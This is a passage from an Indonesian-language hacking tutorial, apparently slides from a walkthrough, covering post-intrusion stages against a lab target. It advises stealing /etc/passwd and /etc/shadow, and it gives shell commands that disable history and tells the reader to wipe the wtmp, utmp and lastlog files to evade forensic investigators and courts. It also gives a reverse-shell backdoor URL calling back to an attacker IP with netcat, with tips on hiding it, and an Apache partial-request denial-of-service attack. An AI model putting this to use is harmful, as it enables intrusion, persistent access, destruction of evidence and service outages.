  • 10. nya • Who am I? I’m w00t! Hacking Stage 6: Pilfering Tahap ini adalah tahap yang tidak terlalu wajib dilakukan. Menurut kamus sih pilfering artinya pencurian haha… Ya kita bisa mencuri apa saja yang ada pada target. Misalnya dumping file username/password pada system (/etc/passwd dan /etc/shadow), masuk ke database mysql dan jalan- jalan liat table databasenya, atau curi-curi foto dan video. Sapa tau ada video skandal sysadminnya hahah. Hacking Stage 7: Covering Tracks Tahap selanjutnya adalah tahap yang biasanya malah lupa dilakukan orang yang berhasil break into target’s system. Padahal tim ahli forensik bisa menangkap kita karena track record ini. Bukti di pengadilan ya track record ini juga. Makanya kalau habis masuk rumah orang tanpa izin jangan lupa di pel tuh bekas lumpur di lantai dan sidik jari di gagang pintu hehe. Ini contoh log terakhir yang ada di target.. IP kita keliatan toh.. Ooo hahahahah… Access Log Silahkan berkreasi untuk membersihkan log nya. Contoh di atas ini adalah log HTTP request.. Mungkin bisa di edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session SSH kita juga tentu saja.. jangan lupa. Untuk membuat session SSH tidak tercatat, jangan lupa ketik command ‘unset HISTFILE’ dan ‘history -c’ setelah beraktifitas di shell target. Atau bisa dengan mengetikkan command ‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target sedemikian sehingga variable HISTFILE akan selalu dicatat ke /dev/null (=buang) oleh shell target. *clue* Di sistem target (karena sistemnya *nix), ada 3 log file penting, yang mencatat..: 1. WTMP – setiap log in/off, waktu log in/off, tty, host 2. UTMP – siapa yang online saat ini 3. Lastlog – dari mana sumber log in terakhir Lokasi file ini biasanya di /etc/ atau /var/adm/ atau /var/log dsb. Nah, silakan cari cara untuk cover track yang nanganin dan ngebersihin 3 file ini hehe Hacking Stage 8: Creating Backdoors Ada banyak cara membuat backdoor. Sesuai arti katanya, backdoor artinya pintu belakang atau jalan alternatif untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah. Kalau bisa dibuat semudah mungkin untuk masuknya. Jangan serumit waktu pertama kali masuk ke target. Contoh backdoor bisa saja menginstall service yang listen pada port rahasia yang memprovide kita akses langsung ke shell target, membuat user baru, dan lain sebagainya. Untuk contoh kita tadi, backdoor kita tentu saja file php-reverse-shell.php di URL rahasia kita:
  • 11. http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 Jadi kedepannya kalau kita mau bertamu ke target lagi, tinggal siapin link di atas ini plus netcat di komputer kita yang set listen di port 9999. Tips: kalau bisa nama file backdoornya jangan php-reverse- shell.php… sangat mencurigakan.. hahahah.. sedikit kreatif untuk rename file dan sembunyiin di folder-folder tertentu haha. Hacking Stage 9: Denial of Service Denial of Service (DoS) adalah ancaman yang paling sering terjadi di dunia security. Siapa saja bisa melakukan dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan bisa terjadi karena ulah anak-anak alay yang gak ngerti komputer! Sesuai artinya, denial of service ya berarti si target menolak menjalankan service seperti biasanya. Katakanlah target kita adalah website registrasi e-KTP. Denial of service berarti adalah si server target e-KTP tidak bisa menjalankan service e-KTP untuk anda karena terlalu sibuk/down. Bayangkan betapa kecewanya kita dan betapa ruginya instansi e-KTP yang tidak bisa melayani (roda bisnis macet -halah). Faktor-faktor yang menyebabkan denial of service ada banyak. Ada yang karena diserang ribuan rikues bertubi-tubi terus bikin si server sibuk, sampai yang emang karena si penyerang yang berhasil break-in (seperti kita di stage sebelumnya) sengaja ngetik command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop sama aja dengan menolak layanan web dari client ‘kan?? Ini contoh Denial of Service akibat ulah anak-anak alay yang bahkan gak ngerti hacking sekalipun: (dari Wikipedia) This describes a situation where a website ends up denied, not due to a deliberate attack by a single individual or group of individuals, but simply due to a sudden enormous spike in popularity. This can happen when an extremely popular website posts a prominent link to a second, less well-prepared site, for example, as part of a news story. The result is that a significant proportion of the primary site’s regular users — potentially hundreds of thousands of people — click that link in the space of a few hours, having the same effect on the target website as a DDoS attack. A VIPDoS is the same, but specifically when the link was posted by a celebrity. An example of this occurred when Michael Jackson died in 2009. Websites such as Google and Twitter slowed down or even crashed.Many sites’ servers thought the requests were from a virus or spyware trying to cause a Denial of Service attack, warning users that their queries looked like “automated requests from a computer virus or spyware application”. Untuk contoh melakukan serang DoS kali ini, saya akan serang service Apache target (192.168.66.87) sampai mabok karena request partial content yang bertubi-tubi..
  • 12. DoS Attack Sambil mengeksekusi program tersebut saya coba menjalankan file test.html yang cuma berisi kata ‘hello world’ dan…. butuh waktu > 3 menit.. bayangkan betapa sibuknya si server. Ini masih bisa di rekayasa dengan membuat parallel reqs nya lebih besar lagi dan loop lebih banyak lagi.. bisa dijamin mabok Apachenya. Hehehe. Penutup Demikianlah stage hacking dan contoh nyata nya di setiap stage. Hasil akhir setiap stage akan berpengaruh ke stage selanjutnya. Sekian yang bisa saya sampaikan, semoga bermanfaat.